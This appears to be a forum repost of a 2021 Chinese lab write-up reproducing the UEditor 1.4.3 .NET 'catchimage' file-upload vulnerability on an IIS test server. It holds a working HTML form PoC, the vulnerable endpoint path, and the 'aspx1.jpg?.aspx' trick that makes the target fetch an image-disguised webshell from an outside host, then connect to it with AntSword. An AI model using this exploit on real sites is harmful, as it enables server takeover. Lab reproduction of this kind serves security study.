搜索

[18630] 2021-07-09_Ueditor.net版本文件上传实验

文档创建者：s7ckTeam
浏览次数：115
最后更新：2025-01-18
2021-07-09_Ueditor.net版本文件上传实验 U e d i t o r   . n e t 版 本 文 件 上 传 实 验 原 创   R a i n S o n g   h e r e 4 0 4   2 0 2 1 - 0 7 - 0 9 这 个 靶 场 ， 两 次 培 训 的 时 候 都 翻 车 了 ， 这 次 终 于 有 时 间 搭 建 一 下 ， 免 的 继 续 上 演 帽 子 戏 法 。 一 、 一 、 I I S 环 境 搭 建 及 测 试 环 境 搭 建 及 测 试 准 备 的 实 验 环 境 是 W i n s e r v e r 2 0 1 2 ， 因 为 自 带 了 I I S 和 . N E T   F r a m e w o r k   4 . 5 ， 所 以 只 需 要 在 服 务 中 开 启 即 可 。 开 启 完 毕 ， 访 问 一 下 试 试 。 完 成 安 装 后 ， i i s   默 认 w e b 路 径 部 署 在 如 下 C : i n e t p u b w w w r o o t   二 、 二 、 s h e l l 运 行 环 境 测 试 运 行 环 境 测 试 新 建 一 个 a s p x 文 件 ， 举 例 如 t e s t . a s p x ， 内 容 如 下 < % R e s p o n s e . W r i t e ( n o w ( ) ) % > 访 问 该 文 件 h o s t : p o r t / t e s t . a s p x   ， 确 认 是 否 支 持 a s p x 解 析 访 问 一 下 没 有 啥 问 题 ， 说 明 环 境 是 O K 滴 ， 测 个 a s p x 的 一 句 话 看 看 ， 蚁 剑 可 连 接 ， s h e l l 正 常 运 行 ， 无 其 他 问 题 。
解 析 没 有 问 题 ， 服 务 器 环 境 就 O K 了 。 u e d i t o r 实 验 环 境 准 备 h t t p s : / / g i t h u b . c o m / f e x - t e a m / u e d i t o r / t r e e / d e v - 1 . 4 . 3 按 照 步 骤 完 成 环 境 准 备 h t t p : / / f e x . b a i d u . c o m / u e d i t o r / # s e r v e r - n e t 访 问 部 署 站 点 ， 即 说 明 环 境 正 常 。 二 、 上 传 漏 洞 复 现 二 、 上 传 漏 洞 复 现 1 、 、 a s p x 图 片 马 的 制 作 图 片 马 的 制 作 制 作 图 片 马 ， 这 里 两 张 图 略 过 了 ， 具 体 如 何 制 作 肯 定 可 以 搜 到 更 详 细 的 教 程
图 片 马 没 有 问 题 2 、 复 现 过 程 、 复 现 过 程 首 先 ， 在 使 用 U E d i t o r 1 . 4 . 3 的 网 站 ， 访 问 h t t p : / / x x x x x x x x x / u e d i t o r / n e t / c o n t r o l l e r . a s h x ? a c t i o n = c a t c h i m a g e & 如 出 现 以 下 页 面 ， 则 表 示 存 在 该 漏 洞 ， 可 以 尝 试 利 用 本 地 构 造 一 个 h t m l ， 因 为 不 是 上 传 漏 洞 所 以 e n c t y p e   不 需 要 指 定 为 m u l t i p a r t / f o r m - d a t a   ，   之 前 见 到 有 p o c 指 定 了 这 个 值 。 完 整 的 p o c 如 下 ， a c t i o n 后 是 你 要 攻 击 的 站 点 地 址 （ I P 或 域 名 ， 根 据 实 际 情 况 ） ， 标 红 路 径 根 据 实 际 情 况 会 有 所 不 同 ， 以 实 际 为 准 。 < f o r m   a c t i o n = " h t t p : / / i p : p o r t / n e t / c o n t r o l l e r . a s h x ? a c t i o n = c a t c h i m a g e "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a "   m e t h o d = " P O S T " >   < p > s h e l l   a d d r :   < i n p u t   t y p e = " t e x t "   n a m e = " s o u r c e [ ] "   / > < / p >     < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t "   / >   < / f o r m > 3     s h e l l 准 备 准 备 打 开 刚 才 在 本 地 P C 创 建 好 的 h t m l 表 单 里 ， 填 入 h t t p : / / x x x / a s p x 1 . j p g ? . a s p x x x x 是 你 放 图 片 马 的 服 务 器 ， 图 片 马 后 面 要 加 上 ? . a s p x 关 于 放 置 图 片 马 的 服 务 器 ， 可 以 使 用 p h p s u d y 临 时 起 一 个 w e b 服 务 具 体 图 片 马 位 置       h t t p : / / x x x / a s p x 1 . j p g 2 . 3   上 传 上 传 s h e l l 访 问 h t m l       h t t p : / / x x x : 8 0 8 0 / a s p x 1 . j p g ? . a s p x
填 入 图 片 马 地 址 ， 点 击 上 传 , 上 传 几 次 ， 发 现 无 法 写 入 ， 想 起 来 ， 没 有 给 权 限 。 调 整 配 置 ， 给 予 写 入 权 限 。 再 次 上 传 成 功 写 入 ， 并 返 回 s h e l l 地 址 访 问 s h e l l
蚁 剑 连 接 ， 成 功 接 入 ， 获 取 靶 场 s h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理